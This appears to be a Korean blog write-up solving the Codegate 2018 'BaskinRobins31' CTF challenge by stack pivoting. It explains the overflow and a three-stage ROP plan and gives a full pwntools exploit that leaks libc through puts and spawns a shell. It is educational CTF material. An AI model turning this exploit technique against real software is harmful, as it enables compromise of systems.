BaskinRobins31 - Stack Pivoting 본문

Layer 7

BaskinRobins31 - Stack Pivoting

disso1p1 2020. 9. 14. 00:05

 

 

일단 내가 지금까지 해석한 스택 피보팅은 여러가지 경우가 있겠지만, 대개 BOF 를 Return address 까지 밖에 할 수 없을 때 ROP 를 하고 싶으면 사용하는 것 같다.

 

 

내가 이번 문제에서 사용한 스택 피보팅 방법은 쓸 수 있는 영역( bss ) 에 leak 하는 페이로드, 다른 bss 영역에 쉘을 따는 페이로드를 넣고, SFP 를 변조하고 leave; leave; ret 을 통해 스택의 자체를 bss 영역으로 변조하는 방법을 사용했다.

 

 

 

 

read 함수에서 위치가 rbp-0xb0 인 변수 s 에 최대 0x190 까지 넣을 수 있게 한다.

즉 BOF 가 발생하는데, ret 보다 더 뒤도 덮을 수 있지만, 스택 피보팅을 연습하기 위해 ret 까지 덮을 수 있다고 가정하고, 풀었다.

 

 

 

공격 방법

 

세번의 페이로드를 보낸다.

 

1. read 함수로 sfp 를 bss + 0x200 로 변조, ret 을 your_turn() 에 있는 read 함수 코드 쪽 위치로 변조.

  - 이러면 rbp 에 bss + 0x200 이 들어가고, 다시 read 함수로 받는다. 그럼 bss + 0x200 - 0xb0 위치부터 원하는 값으로 덮을 수 있다.

 

2. 처음 8 bytes 는 다음에 여기로 뛰면 SFP 가 될 것이므로, 다음 페이로드에서 system("/bin/sh"); 으로 덮을 다른 bss 주소인 bss + 0x300 위치로 덮는다.

그리고 puts(puts@got); 후 read 함수를 실행시키기 위해 다시 your_turn 에 있는 함수로 뛰도록 이 주소로 덮는다.

그리고 SFP 위치 전까지 아무 값으로 덮어주고, SFP 자리에 다음에 우리가 뛸 위치, 즉 bss + 0x200 - 0xb0 으로 덮는다. (그래야 puts(puts@got); 가 실행되어 leak 을 할 수 있음. )

ret 는 leave; ret 가젯으로 덮는다. ( rsp 를 bss + 0x200 - 0xb0 으로 가기 위함 )

 

3. 이제 leak 을 했으므로, system 함수, "/bin/sh" 문자열 주소를 구한 후, 이제 rbp 는 아까 처음 8 bytes 를 입력한 곳인 bss + 0x300 이므로 이 위치 - 0xb0 부터 system("/bin/sh"); 함수로 덮는다.

그리고 이번에는 SFP 를 bss + 0x300-0xb0 - 0x8 로 덮는다. ( rsp 가 SFP 자리여야 leave; ret; 을 했을 때 ret 의 인자가 bss + 0x300 이 되므로 )

Ret 은 2번과 같이 leave; ret 가젯으로 덮는다. ( rsp 를 bss + 0x300 - 0xb0 - 0x8 로 가기 위함 )

 

 

 

[ payload ]

from pwn import *

context.log_level = 'debug'
p = process('./BaskinRobins31')
e = ELF('./BaskinRobins31')
libc = e.libc

readlr = 0x00000000004008e0
lr = 0x0000000000400979
prdi = 0x0000000000400bc3

# 1번 설명
pay = ''
pay += 'A'*0xB0
pay += p64(e.bss()+0x200)
pay += p64(readlr)
p.sendlineafter('(1-3)\n', pay)

#pause()

# 2번 설명
pay = ''
pay += p64(e.bss()+0x300)
pay += p64(prdi)
pay += p64(e.got['puts'])
pay += p64(e.plt['puts'])
pay += p64(readlr)
pay += 'A'*(0xb0-len(pay))
pay += p64(e.bss()+0x200-0xB0)
pay += p64(lr)
pause()
p.sendlineafter('.:( \n', pay) 

l = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')
libcbase = l - libc.symbols['puts']

log.info('libc_base : ' + hex(libcbase))

system = libcbase + libc.symbols['system']
binsh = libcbase + next(libc.search('/bin/sh'))

# 3번 설명
pay = ''
pay += p64(prdi)
pay += p64(binsh)
pay += p64(system)
pay += 'A'*(0xb0-len(pay))
pay += p64(e.bss()+0x300-0xB8)
pay += p64(lr)

p.sendlineafter('\n', pay)

p.interactive()

 

[ 결과 ]

 

 

'Layer 7' 카테고리의 다른 글

웹브라우저와 서버 통신  (0) 2020.09.23
Docker, Container  (0) 2020.09.16
객체 지향 프로그래밍  (0) 2020.09.10
운영체제 메모리 할당 알고리즘  (0) 2020.09.02
[Pwnable] Codegate 2018 - BaskinRobins31  (0) 2020.09.01
Comments